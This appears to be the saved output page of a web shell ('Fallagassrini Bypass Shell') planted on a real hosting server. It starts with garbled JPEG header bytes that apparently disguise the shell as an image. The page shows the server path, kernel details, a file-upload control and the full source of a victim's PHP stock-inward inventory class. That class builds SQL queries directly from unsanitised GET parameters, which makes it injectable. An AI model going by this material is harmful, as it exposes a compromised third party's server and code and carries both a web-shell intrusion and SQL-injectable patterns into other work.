JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/admin/includes/classes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/admin/includes/classes/class.StockInward.php

<?php
#####Class For Adding Content Management ######
class StockInward extends MysqlFns{
 
 /* class constructor */
 function StockInward(){
 $this->LDDisplayPath= $config['SiteGlobalPath']."class.StockInward.php";
  global $objSmarty,$config;
   //
  $this->MysqlFns();
  $this->Limit = 15;
   $this->Keyword = '';
  $this->Operator = '';
  $this->PerPage = '';
  
  /****************************For Vendor Name*************************************/
  $f1 = "vendor_name.txt";
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile = fopen($f1, "w") or die("Unable to open file!");
			$SelQuery1	= 'SELECT DISTINCT supplier_name FROM `arka_supplier_reg_master` WHERE record_status="1"';
			$CusList	= $this->ExecuteQuery($SelQuery1, 'select');
			//print_r($CusList);exit;
			if(!empty($CusList) && is_array($CusList))
			foreach($CusList as $key=>$value)
			{
			$CusList[$key]['CName'] = stripslashes($CusList[$key]['supplier_name']);
			$names = $names.$CusList[$key]['CName'].",";
			}
			fwrite($myfile, $names);
			fclose($myfile);
			
	 $f2 = "material_code.txt";
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile1 = fopen($f2, "w") or die("Unable to open file!");
			$SelQuery2	= 'SELECT DISTINCT m_code FROM `arka_material_reg_master` WHERE status="1"';
			$MatList	= $this->ExecuteQuery($SelQuery2, 'select');
			//print_r($CusList);exit;
			if(!empty($MatList) && is_array($MatList))
			foreach($MatList as $key=>$value)
			{
			$MatList[$key]['MCode'] = stripslashes($MatList[$key]['m_code']);
			$names1 = $names1.$MatList[$key]['MCode'].",";
			}
			fwrite($myfile1, $names1);
			fclose($myfile1);
	 $f3 = "row_name.txt";
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile2 = fopen($f3, "w") or die("Unable to open file!");
			$SelQuery3	= 'SELECT DISTINCT rows FROM `arka_bin_master` WHERE status="1"';
			$RowList	= $this->ExecuteQuery($SelQuery3, 'select');
			//print_r($CusList);exit;
			if(!empty($RowList) && is_array($RowList))
			foreach($RowList as $key=>$value)
			{
			$RowList[$key]['RName'] = stripslashes($RowList[$key]['rows']);
			$names2 = $names2.$RowList[$key]['RName'].",";
			}
			fwrite($myfile2, $names2);
			fclose($myfile2);
	 $f4 = "column_name.txt";
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile3 = fopen($f4, "w") or die("Unable to open file!");
			$SelQuery4	= 'SELECT DISTINCT columns FROM `arka_columns_details` WHERE status="1"';
			$CList	= $this->ExecuteQuery($SelQuery4, 'select');
			//print_r($CusList);exit;
			if(!empty($CList) && is_array($CList))
			foreach($CList as $key=>$value)
			{
			$CList[$key]['ColName'] = stripslashes($CList[$key]['columns']);
			$names3 = $names3.$CList[$key]['ColName'].",";
			}
			fwrite($myfile3, $names3);
			fclose($myfile3);	
			
	 $f5 = "poNo.txt";  
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile4 = fopen($f5, "w") or die("Unable to open file!");     
			$SelQuery5	= 'SELECT DISTINCT po_no FROM `arka_inward_master` WHERE record_status="1"';   
			$PoList	= $this->ExecuteQuery($SelQuery5, 'select'); 
			
	//		print_r($PoList);exit;
			if(!empty($PoList) && is_array($PoList))
			foreach($PoList as $key=>$value)
			{
			$PoList[$key]['PNo'] = stripslashes($PoList[$key]['po_no']);
			$names4 = $names4.$PoList[$key]['PNo'].",";                           
			}
			fwrite($myfile4, $names4);
			fclose($myfile4);
	$f6 = "invoiceNumber.txt";  
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile5 = fopen($f6, "w") or die("Unable to open file!");     
			$SelQuery6	= 'SELECT DISTINCT invoice_no FROM `arka_inward_master` WHERE record_status="1"';   
			$invoiceList	= $this->ExecuteQuery($SelQuery6, 'select'); 
			
	//		print_r($PoList);exit;
			if(!empty($invoiceList) && is_array($invoiceList))
			foreach($invoiceList as $key=>$value)
			{
			$invoiceList[$key]['invNo'] = stripslashes($invoiceList[$key]['invoice_no']);
			$names5 = $names5.$invoiceList[$key]['invNo'].",";    
			}
			fwrite($myfile5, $names5);
			fclose($myfile5);
	$f7 = "locPo.txt";  
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile6 = fopen($f7, "w") or die("Unable to open file!");     
			$SelQuery7	= 'SELECT DISTINCT po_no FROM `arka_inward_master` WHERE record_status="1"';   
			$LocPo1	= $this->ExecuteQuery($SelQuery7, 'select'); 
			
			//		print_r($PoList);exit;
			if(!empty($LocPo1) && is_array($LocPo1))
			foreach($LocPo1 as $key=>$value)
			{
			$LocPo1[$key]['locPoNo'] = stripslashes($LocPo1[$key]['po_no']);
			$names6 = $names6.$LocPo1[$key]['locPoNo'].",";    
			}
			fwrite($myfile6, $names6);
			fclose($myfile6);
$f8 = "stock_material_code.txt";
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile7 = fopen($f8, "w") or die("Unable to open file!");
			$SelQuery8	= 'SELECT DISTINCT material_code FROM `arka_stock_master` WHERE record_status="1"';
			$MatList8	= $this->ExecuteQuery($SelQuery8, 'select');
			//print_r($CusList);exit;
			if(!empty($MatList8) && is_array($MatList8))
			foreach($MatList8 as $key=>$value)
			{
			$MatList8[$key]['MaCode'] = stripslashes($MatList8[$key]['material_code']);
			$names7 = $names7.$MatList8[$key]['MaCode'].",";
			}
			fwrite($myfile7, $names7);
			fclose($myfile7);

			
				
  
   $SelQuerys	= 'SELECT max(inward_entry_id) as last FROM `arka_inward_master` WHERE `record_status`="1" Limit 0,1';
   $IwdDetail	= $this->ExecuteQuery($SelQuerys, 'select');
   
   if($IwdDetail[0]['last']!="")
   {
   $IwdDetail[0]['inward_entry_id'] = stripslashes($IwdDetail[0]['last']);
  	$c_id1 = preg_replace("/[^0-9\.]/", '', $IwdDetail[0]['inward_entry_id']);
	$c_id1= $c_id1 + 1;
	$str = str_split($IwdDetail[0]['last'], 3);
	$inward_entry_id = $str[0]. "" .$c_id1;
   }
   else
   {
   $inward_entry_id = "IWD1001";
   }
	$objSmarty->assign('inward_entry_id', $inward_entry_id);
 }
 
 
 /************************************Vendor Details/********************************************/

function AjaxGetVendorDetails()
 {    
global $objSmarty;

		 $SelQuery = 'SELECT * FROM `arka_supplier_reg_master` WHERE supplier_name ="'.$_GET['supplier_name'].'" ' ; 
		 $LDList		= $this->ExecuteQuery($SelQuery, "select");
		
		foreach($LDList as $keys=>$value)    
		{
		
       echo   $LDList[$keys]["supplier_code"];
		}

}

 /************************************Ajax Inward Location/********************************************/

function GetId()
 {  
global $objSmarty;

		 $SelQuery11 = 'SELECT * FROM `arka_inward_details` WHERE po_no ="'.$_GET['po_no'].'" LIMIT 0,1' ; 
		 $LDList11		= $this->ExecuteQuery($SelQuery11, "select");  //print_r($LDList11); 
		
//   echo   $LDLists[$keys]["po_no"]."_".$LDLists[$keys]["po_date"]."_".$LDLists[$keys]["invoice_date"]."_".$LDLists[$keys]["inward_entry_id"]."_".$LDLists[$keys]["g1_date"]."|$|";  	

}

/****************************************Inward Reg Id*********************************************/
function InwardID()
{
global $objSmarty;

	$SelQuery	= 'SELECT * FROM `arka_inward_master` WHERE inward_entry_id="'.$_GET['inward_entry_id'].'"';  
	$Page3=$this->ExecuteQuery($SelQuery, 'select');
	//print_r($Page3);
	$objSmarty->assign('Page3', $Page3);
}
/************************************PO Details/***************************************************/
function AjaxGetPoDetails()
 { 
global $objSmarty,$config;
$tbl = $config['DBPrefix'];

	if($_GET['po_no']!="")
	{
	$SelQuery21 = 'SELECT * FROM `arka_inward_master` WHERE po_no ="'.$_GET['po_no'].'" AND g2checking_person =" " LIMIT 0,1' ; 
	$LDList		= $this->ExecuteQuery($SelQuery21, "select");         
	}
	elseif($_GET['invoice_no']!="")
	{
	$SelQuery21 = 'SELECT * FROM `arka_inward_master` WHERE invoice_no="'.$_GET['invoice_no'].'" AND g2checking_person =" "  LIMIT 0,1' ; 
	$LDList		= $this->ExecuteQuery($SelQuery21, "select");
	}
	$objSmarty->assign('LDList', $LDList);
	
	$SelQuery212 = 'SELECT * FROM `arka_inward_details` WHERE inward_entry_id ="'.$LDList['0']["inward_entry_id"].'"' ;
	$main3		= $this->ExecuteQuery($SelQuery212, "select"); 
	$objSmarty->assign('main3', $main3);
	
	 $SelQuery21 = 'SELECT * FROM `arka_stock_master` WHERE inward_entry_id="'.$main3['0']['inward_entry_id'].'" AND material_code="'.$main3['0']['material_code'].'"  AND record_status="1" LIMIT 0,1' ; 
	$LDList2		= $this->ExecuteQuery($SelQuery21, "select");//print_r($LDList2);
	if(empty($LDList2))
	{
	$SelQuery2121 = 'SELECT * FROM `arka_inward_details` WHERE inward_entry_id ="'.$LDList['0']["inward_entry_id"].'" AND g2_status="0" ' ;
	$main		= $this->ExecuteQuery($SelQuery2121, "select"); 
	$objSmarty->assign('main', $main);
	}
	
}
/************************************PO Material Details/***************************************************/
function AjaxGetPoMaterialDetails()
 { 
global $objSmarty,$config;
$tbl = $config['DBPrefix'];

	if($_GET['po_no']!="")
	{
	$SelQuery21 = 'SELECT * FROM `arka_inward_master` WHERE po_no ="'.$_GET['po_no'].'" AND rack_status="0"  LIMIT 0,1' ; 
	$LDListLoc		= $this->ExecuteQuery($SelQuery21, "select");         
	}
	elseif($_GET['invoice_no']!="")
	{
	$SelQuery21 = 'SELECT * FROM `arka_inward_master` WHERE invoice_no="'.$_GET['invoice_no'].'" AND rack_status="0" LIMIT 0,1' ; 
	$LDListLoc		= $this->ExecuteQuery($SelQuery21, "select");
	}
	$objSmarty->assign('LDListLoc', $LDListLoc);
	
	$SelQuery212 = 'SELECT * FROM `arka_inward_details` WHERE inward_entry_id ="'.$LDListLoc['0']["inward_entry_id"].'" AND rack_status="0" ' ;
	$main3		= $this->ExecuteQuery($SelQuery212, "select"); 
	$objSmarty->assign('main3', $main3);
	
	 $SelQuery21 = 'SELECT * FROM `arka_stock_master` WHERE inward_entry_id="'.$main3['0']['inward_entry_id'].'" AND material_code="'.$main3['0']['material_code'].'"  AND record_status="1" LIMIT 0,1' ; 
	$LDList2		= $this->ExecuteQuery($SelQuery21, "select");//print_r($LDList2);
	if(empty($LDList2))
	{
	$SelQuery2121 = 'SELECT * FROM `arka_inward_details` WHERE po_no ="'.$_GET['po_no'].'" AND rack_status="0" ' ;
	$mainLoc		= $this->ExecuteQuery($SelQuery2121, "select"); 
	$objSmarty->assign('mainLoc', $mainLoc);
	
	$SelQueryStock = 'SELECT * FROM `arka_stock_master` WHERE material_code="'.$mainLoc['0']['material_code'].'"  AND record_status="1" LIMIT 0,1' ; 
	$StockList		= $this->ExecuteQuery($SelQueryStock, "select");
	$objSmarty->assign('StockList', $StockList);
	}
	
}
/************************************INVOICE Details/***************************************************/
function AjaxGetInvoiceDetails()
 {  
global $objSmarty,$config;
$tbl = $config['DBPrefix'];


		 $SelQuery22 = 'SELECT * FROM `arka_inward_master` WHERE invoice_no ="'.$_GET['invoice_no'].'" ' ; 
		 $LDLists		= $this->ExecuteQuery($SelQuery22, "select"); 
		
		foreach($LDLists as $keys=>$value)
		{
       echo   $LDLists[$keys]["po_no"]."_".$LDLists[$keys]["po_date"]."_".$LDLists[$keys]["invoice_date"]."_".$LDLists[$keys]["inward_entry_id"]."_".$LDLists[$keys]["g1_date"]."|$|";  
		}
}

/************************************Material Details/********************************************/

function AjaxGetMaterialDetails()
 {
global $objSmarty,$config;
$tbl = $config['DBPrefix'];

		 $SelQuery = 'SELECT * FROM `arka_material_reg_master` WHERE m_code ="'.$_GET['material_code'].'" ';
		 $LDList   = $this->ExecuteQuery($SelQuery, "select");

/*$SelQuery_Add_Dtls = 'SELECT * FROM arka_material_reg_master WHERE m_code="'.$LDList[0]['m_code'].'" ' ;
		$LDList_Add_Dtls   = $this->ExecuteQuery($SelQuery_Add_Dtls, "select");*/
		foreach($LDList as $keys=>$value)
		{
      //   echo $LDList_Add_Dtls[$keys]["m_code"]."_".$LDList_Add_Dtls[$keys]["m_type"]."_".$LDList_Add_Dtls[$keys]["m_cat"]."_".$LDList_Add_Dtls[$keys]["description"]."|$|";
		 echo $LDList[$keys]["m_name"]."|$|";
		}

}
  /************************************** Insert the content for  Static Pages ***********************************/
 
 function InsertStockContent($objArray){ 
   global $objSmarty,$_POST,$config;
   
   if(!$objArray['inward_entry_id']){
    $objSmarty->assign('ErrorMessage', 'Inward Entry Id should not be blank');
	return false;
   }elseif(!$objArray['g1_date']){
    $objSmarty->assign('ErrorMessage', 'Date Of Entry should not be blank');
	return false;
   }elseif(!$objArray['material_name']){
    $objSmarty->assign('ErrorMessage', 'Material Name should not be blank');
	$objSmarty->assign('make_read_only', 'readonly');
	return false;
   }elseif(!$objArray['material_code']){
    $objSmarty->assign('ErrorMessage', 'Material Code should not be blank');
	$objSmarty->assign('make_read_only', 'readonly');
	return false;
   }elseif(!preg_match("/^[0-9]{1,}$/",$objArray['invoice_quantity'])){    
    $objSmarty->assign('ErrorMessage', 'Invoice Quantity Should Be Numbers');
	$objSmarty->assign('make_read_only', 'readonly');
	return false;
	}elseif(!preg_match("/^[0-9]{1,}$/",$objArray['received_quantity'])){     
    $objSmarty->assign('ErrorMessage', 'Received Quantity Should Be Numbers');
	$objSmarty->assign('make_read_only', 'readonly');
	return false;
	}

     $DelQuery = 'DELETE FROM `arka_inward_tax_details` WHERE `inward_entry_id`="'.$objArray['inward_entry_id'].'"';
    $this->ExecuteQuery($DelQuery, 'delete');
	
 /* foreach($objArray['tax_percentage'] as $key=>$value)
   {  
  
  $InsQuery = 'INSERT INTO `arka_inward_tax_details`(`inward_entry_id`, `tax_name`, `tax_percentage`) VALUES("'.trim(addslashes($objArray['inward_entry_id'])).'","'.$key.'","'.$value.'")';
 $this->ExecuteQuery($InsQuery, 'insert'); 
 }*/
 
  $TaxSelQuery	= 'SELECT * FROM `arka_inward_tax_details` WHERE `inward_entry_id` ="'.trim(addslashes($objArray['inward_entry_id'])).'" ORDER BY sl_no ';
	  $TaxList		= $this->ExecuteQuery($TaxSelQuery, "select");
	   if(!empty($TaxList) && is_array($TaxList))

   foreach($TaxList as $key=>$value){
    $TaxList[$key]['TaxName'] = stripslashes($TaxList[$key]['tax_name']);
	$TaxList[$key]['TaxPer'] = stripslashes($TaxList[$key]['tax_percentage']);
	
  if( $TaxList[$key]['TaxName']!="serviceTax" ||  $TaxList[$key]['TaxName']!="hCess" ||  $TaxList[$key]['TaxName']!="cess" )
   {
    $tot_tax=$tot_tax+$TaxList[$key]['TaxPer'];
	$sub_total=$objArray['price']*$objArray['quantity'];
	$tot_tax_amt=$total_invoice_amount*$tot_tax/100;
   	$inv_amount=$sub_total+$tot_tax_amt;
   }
   elseif($TaxList[$key]['TaxName']=="serviceTax" ||  $TaxList[$key]['TaxName']=="hCess" ||  $TaxList[$key]['TaxName']=="cess" )
   {
   	if($TaxList[$key]['TaxName']=="serviceTax")
	{
  	$ser_tax_per=$TaxList[$key]['TaxPer'];
	$sub_total=$objArray['price']*$objArray['quantity'];
	$ser_tax_amt=$sub_total*$ser_tax_per/100;
	}
	elseif($TaxList[$key]['TaxName']=="cess")
	{
	$cess_per=$TaxList[$key]['TaxPer'];
	$sub_total=$objArray['price']*$objArray['quantity'];
	$cess_tax_amt=$sub_total*$cess_per/100;
	}
	elseif($TaxList[$key]['TaxName']=="hCess")
	{
	$hcess_per=$TaxList[$key]['TaxPer'];
	$sub_total=$objArray['price']*$objArray['quantity'];
	$hcess_tax_amt=$sub_total*$hcess_per/100;
	}
	$tot_tax1= $ser_tax_per * $cess_per/100;
	$tot_tax2= $ser_tax_per * $hcess_per/100;	
    $tot_tax= $ser_tax_per + $tot_tax1 + $tot_tax2;
	
	$sub_total=$objArray['price']*$objArray['quantity'];
	$tot_tax_amt=$sub_total*$tot_tax/100;
   	$inv_amount=$sub_total+$tot_tax_amt;
	$total_invoice_amount=$invoice_amount+$total_invoice_amount; 
	$total_rvat_amount=$total_invoice_amount/20;
	$serviceTax=$total_rvat_amount+$total_rvat_amount;
	$total_service_amount=$serviceTax+$total_cess_amount;
	$cess=$total_invoice_amount/100;
	$total_cess_amount=$cess+$cess;
	$total_hcess_amount=$total_invoice_amount/100;
	$total_invoice_amount_with_tax=$total_hcess_amount+$total_cess_amount+$total_rvat_amount+$total_invoice_amount+$total_service_amount;
	}
  }
  
   //foreach($objArray['tax_percentage'] as $key=>$value)
  // {
  //$total_percentage=$total_percentage+$value;
   // }   
    if($this->ChkDupliCust(trim(addslashes($objArray['inward_entry_id']))))
   {
   if($objArray['levels'] == 'HM1' || $objArray['levels'] == 'HM2'){
 $ct = $objArray['levels']."/".$objArray['rows11'];
 }
 else
 {
   $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 }
 if($objArray['levels2'] == 'HM1' || $objArray['levels2'] == 'HM2'){
 $ct2 = $objArray['levels2']."/".$objArray['rows21'];
 }
 else
 {
   $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 }
 if($objArray['levels3'] == 'HM1' || $objArray['levels3'] == 'HM2'){
 $ct3 = $objArray['levels3']."/".$objArray['rows31'];
 }
 else
 {
   $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 }
 if($objArray['levels4'] == 'HM1' || $objArray['levels4'] == 'HM2'){
 $ct4 = $objArray['levels4']."/".$objArray['rows41'];
 }
 else
 {
   $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 }
  if($objArray['levels5'] == 'HM1' || $objArray['levels5'] == 'HM2'){
 $ct5 = $objArray['levels5']."/".$objArray['rows51'];
 }
 else
 {
   $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 }
// $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 //$ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 //$ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 //$ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
  $SelQuery_invoice	= 'SELECT * FROM `arka_inward_master` WHERE `invoice_no` ="'.trim(addslashes($objArray['invoice_no'])).'" ';
  $invoice_number_select = $this->ExecuteQuery($SelQuery_invoice, "select");	
 
 if(empty($invoice_number_select))
	{
 
   $InsQuery = 'INSERT INTO `arka_inward_master`(`inward_entry_id`, `po_no`, `po_date`, `g1_date`, `invoice_no`, `invoice_date`,`invoice_amount`,`tax`,`frieght_charges`,`total`,`record_status`,`region`,`tax_percentage`,`supplier_name`,`supplier_code`,`location`,`location2`,`location3`,`location4`,`location5`,`g1login_person`,`g1checking_person`, `invoice_quantity`, `received_quantity`, `balance_quantity`) VALUES("'.trim(addslashes($objArray['inward_entry_id'])).'","'.trim(addslashes($objArray['po_no'])).'","'.trim(addslashes($objArray['po_date'])).'","'.trim(addslashes($objArray['g1_date'])).'","'.trim(addslashes($objArray['invoice_no'])).'","'.trim(addslashes($objArray['invoice_date'])).'","'.trim(addslashes($total_invoice_amount_with_tax)).'","'.trim(addslashes($tot_tax_amt)).'","'.trim(addslashes($objArray['frieght_charges'])).'","'.trim(addslashes($inv_amount)).'",1,"'.trim(addslashes($objArray['selection_reg'])).'","'.trim(addslashes($tot_tax)).'","'.trim(addslashes($objArray['supplier_name'])).'","'.trim(addslashes($objArray['supplier_code'])).'","'.$ct.'","'.$ct2.'","'.$ct3.'","'.$ct4.'","'.$ct5.'","'.trim(addslashes($objArray['loc_fld_cnt'])).'","'.trim(addslashes($objArray['g1checking_person'])).'","'.trim(addslashes($objArray['invoice_quantity'])).'","'.trim(addslashes($objArray['received_quantity'])).'","'.trim(addslashes($objArray['balance_quantity'])).'")';
  	$this->ExecuteQuery($InsQuery, 'insert');
	}
	else
	{
	 $objSmarty->assign('ErrorMessage', 'Invoice Number Already Allotted');
	 return false;
	}
	}
	else
	{
	 $SelQuery_on_inward_master	= 'SELECT * FROM `arka_inward_master` WHERE `inward_entry_id` ="'.trim(addslashes($objArray['inward_entry_id'])).'" ';
	  $RList_from_inward_master		= $this->ExecuteQuery($SelQuery_on_inward_master, "select");	
$invoice_amount=$objArray['price']*$objArray['quantity'];
$update_invoice_amt_for_master=$RList_from_inward_master[0]['invoice_amount']+$invoice_amount;	
$update_tax_amount_for_current_data=$invoice_amount*$total_percentage/100;
$update_tax_amount_for_all_data=$update_invoice_amt_for_master*$total_percentage/100;
//$update_tax_for_master=$RList_from_inward_master[0]['tax']+$update_tax_amount_for_current_data;	
$update_total_for_master=$update_invoice_amt_for_master+$objArray['frieght_charges']+$update_tax_amount_for_all_data;
//if($RList_from_inward_master[0]['total']!=0)                      //this is for updating master table after all master details deleted
//{

/* $update_query_for_inward_master='UPDATE `arka_inward_master` SET `dc_no` ="'.trim(addslashes($objArray['dc_no'])).'",`dc_date` ="'.trim(addslashes($objArray['dc_date'])).'",`g1_date` ="'.trim(addslashes($objArray['g1_date'])).'",`invoice_no` ="'.trim(addslashes($objArray['invoice_no'])).'",`supplier_name` ="'.trim(addslashes($objArray['supplier_name'])).'",`supplier_code` ="'.trim(addslashes($objArray['supplier_code'])).'",`invoice_date` ="'.trim(addslashes($objArray['invoice_date'])).'",`frieght_charges` ="'.trim(addslashes($objArray['frieght_charges'])).'",`total` ="'.$update_total_for_master.'",`invoice_amount`="'.$update_invoice_amt_for_master.'",`tax`="'.$update_tax_amount_for_all_data.'",`tax_percentage`="'.$total_percentage.'" WHERE `inward_entry_id` ="'.trim(addslashes($objArray['inward_entry_id'])).'"';*/
//echo $total_percentage;
/*$update_query_for_inward_master='UPDATE `arka_inward_master` SET `total` ="'.$update_total_for_master.'",`invoice_amount`="'.$update_invoice_amt_for_master.'",`tax`="'.$update_tax_for_master.'" WHERE `inward_entry_id` ="'.trim(addslashes($objArray['inward_entry_id'])).'"';*/
//}
/*else
{
$update_tax_deductables_for_master=$update_invoice_amt_for_master;	
$update_tax_for_master=$update_tax_deductables_for_master*$RList_from_inward_master[0]['tax_percentage']/100;
$update_total_for_master2=$update_tax_for_master+$invoice_amount+$RList_from_inward_master[0]['frieght_charges'];
$update_query_for_inward_master='UPDATE `arka_inward_master` SET `total` ="'.$update_total_for_master2.'",`invoice_amount`="'.$update_invoice_amt_for_master.'",`tax`="'.$update_tax_for_master.'",`dc_no` ="'.trim(addslashes($objArray['dc_no'])).'",`dc_date` ="'.trim(addslashes($objArray['dc_date'])).'",`invoice_no` ="'.trim(addslashes($objArray['invoice_no'])).'",`supplier_name` ="'.trim(addslashes($objArray['supplier_name'])).'",`supplier_code` ="'.trim(addslashes($objArray['supplier_code'])).'",`invoice_date` ="'.trim(addslashes($objArray['invoice_date'])).'",`frieght_charges` ="'.trim(addslashes($objArray['frieght_charges'])).'" WHERE `inward_entry_id` ="'.trim(addslashes($objArray['inward_entry_id'])).'"';
}*/
/*$this->ExecuteQuery($update_query_for_inward_master,"update");*/
   }
	 if($objArray['levels'] == 'HM1' || $objArray['levels'] == 'HM2'){
 $ct = $objArray['levels']."/".$objArray['rows11'];
 }
 else
 {
   $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 }
 if($objArray['levels2'] == 'HM1' || $objArray['levels2'] == 'HM2'){
 $ct2 = $objArray['levels2']."/".$objArray['rows21'];
 }
 else
 {
   $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 }
 if($objArray['levels3'] == 'HM1' || $objArray['levels3'] == 'HM2'){
 $ct3 = $objArray['levels3']."/".$objArray['rows31'];
 }
 else
 {
   $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 }
 if($objArray['levels4'] == 'HM1' || $objArray['levels4'] == 'HM2'){
 $ct4 = $objArray['levels4']."/".$objArray['rows41'];
 }
 else
 {
   $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 }
  if($objArray['levels5'] == 'HM1' || $objArray['levels5'] == 'HM2'){
 $ct5 = $objArray['levels5']."/".$objArray['rows51'];
 }
 else
 {
   $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 }	
$total_to_inward_details=$objArray['price']*$objArray['quantity'];
 $InsQuery2 = 'INSERT INTO `arka_inward_details`(`material_type`, `material_category`, `inward_entry_id`, `material_name`, `material_specification`, `price`, `created_by`, `material_code`,`quantity`,`warranty_period`,`record_status`,`total`,`supplier_name`,`supplier_code`,`location`, `invoice_quantity`, `received_quantity`, `balance_quantity`,`po_no`, `po_date`, `g1_date`,`invoice_date`,`g1checking_person`) VALUES("'.trim(addslashes($objArray['material_type'])).'","'.trim(addslashes($objArray['material_category'])).'","'.trim(addslashes($objArray['inward_entry_id'])).'","'.trim(addslashes($objArray['material_name'])).'","'.trim(addslashes($objArray['material_specification'])).'","'.trim(addslashes($objArray['price'])).'","'.trim(addslashes($objArray['loc_fld_cnt'])).'","'.trim(addslashes($objArray['material_code'])).'","'.trim(addslashes($objArray['quantity'])).'","'.trim(addslashes($objArray['warranty_period'])).'",1,"'.trim(addslashes($total_to_inward_details)).'","'.trim(addslashes($objArray['supplier_name'])).'","'.trim(addslashes($objArray['supplier_code'])).'","","'.trim(addslashes($objArray['invoice_quantity'])).'","'.trim(addslashes($objArray['received_quantity'])).'","'.trim(addslashes($objArray['balance_quantity'])).'","'.trim(addslashes($objArray['po_no'])).'","'.trim(addslashes($objArray['po_date'])).'","'.trim(addslashes($objArray['g1_date'])).'","'.trim(addslashes($objArray['invoice_date'])).'","'.trim(addslashes($objArray['g1checking_person'])).'")';    
  	$this->ExecuteQuery($InsQuery2, 'insert');	
	
	/* $SelQuery_on_stock	= 'SELECT * FROM `arka_stock_master` WHERE `material_name` ="'.trim(addslashes($objArray['material_name'])).'" && `material_code` ="'.trim(addslashes($objArray['material_code'])).'"';
	  $RList		= $this->ExecuteQuery($SelQuery_on_stock, "select");
	

if(!empty($RList) && is_array($RList))
	  {
	$ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
		 $update_quantity=$objArray['quantity']+$RList[0]['quantity']; 
	  $update_total=$RList[0]['unit_price']*$update_quantity;
 $update_query='UPDATE `arka_stock_master` SET `quantity` ="'.trim(addslashes($update_quantity)).'",`total`="'.trim(addslashes($update_total)).'" WHERE `material_code` ="'.$RList[0]['material_code'].'" && `unit_price` ="'.$RList[0]['unit_price'].'" && `supplier_code` ="'.$RList[0]['supplier_code'].'" && `supplier_name` ="'.$RList[0]['supplier_name'].'" && `location`="'.$RList[0]['location'].'"';
$this->ExecuteQuery($update_query,"update");
	  }
	else
	//*/
/* $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 $data= $ct. ' , ' .$ct2.' , '.$ct3.' , '.$ct4.' , '.$ct5;*/
 if($objArray['levels'] == 'HM1' || $objArray['levels'] == 'HM2'){
 $ct = $objArray['levels']."/".$objArray['rows11'];
 }
 else
 {
   $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 }
 if($objArray['levels2'] == 'HM1' || $objArray['levels2'] == 'HM2'){
 $ct2 = $objArray['levels2']."/".$objArray['rows21'];
 }
 else
 {
   $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 }
 if($objArray['levels3'] == 'HM1' || $objArray['levels3'] == 'HM2'){
 $ct3 = $objArray['levels3']."/".$objArray['rows31'];
 }
 else
 {
   $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 }
